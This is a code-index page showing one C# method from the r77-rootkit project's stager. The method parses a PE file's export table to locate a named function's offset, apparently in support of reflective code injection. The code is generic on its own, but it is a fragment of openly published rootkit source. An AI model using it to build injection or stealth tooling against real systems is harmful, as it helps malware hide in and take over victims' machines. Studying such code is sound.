MCPcopy Index your code
hub / github.com/bytecode77/r77-rootkit / GetExecutableFunction

Method GetExecutableFunction

Stager/Inject.cs:63–86  ·  view source on GitHub ↗
(byte[] image, string functionName)

Source from the content-addressed store, hash-verified

61 }
62 }
63 private static int GetExecutableFunction(byte[] image, string functionName)
64 {
65 int ntHeaders = BitConverter.ToInt32(image, 0x3c);
66 int exportDirectory = RvaToOffset(image, BitConverter.ToInt32(image, ntHeaders + 0x18 + (IsExecutable64Bit(image) ? 0x70 : 0x60)));
67 int numberOfNames = RvaToOffset(image, BitConverter.ToInt32(image, exportDirectory + 0x18));
68 int nameDirectory = RvaToOffset(image, BitConverter.ToInt32(image, exportDirectory + 0x20));
69 int nameOrdinalDirectory = RvaToOffset(image, BitConverter.ToInt32(image, exportDirectory + 0x24));
70
71 for (int i = 0; i < numberOfNames; i++)
72 {
73 int nameOffset = RvaToOffset(image, BitConverter.ToInt32(image, nameDirectory));
74 string name = new string(image.Skip(nameOffset).Take(functionName.Length + 10).Select(b => (char)b).ToArray());
75
76 if (name.Contains(functionName))
77 {
78 return RvaToOffset(image, BitConverter.ToInt32(image, RvaToOffset(image, BitConverter.ToInt32(image, exportDirectory + 0x1c)) + BitConverter.ToInt16(image, nameOrdinalDirectory) * 4));
79 }
80
81 nameDirectory += 4;
82 nameOrdinalDirectory += 2;
83 }
84
85 return 0;
86 }
87 private static int RvaToOffset(byte[] image, int rva)
88 {
89 int ntHeaders = BitConverter.ToInt32(image, 0x3c);

Callers

nothing calls this directly

Calls 2

RvaToOffsetFunction · 0.85
IsExecutable64BitFunction · 0.85

Tested by

no test coverage detected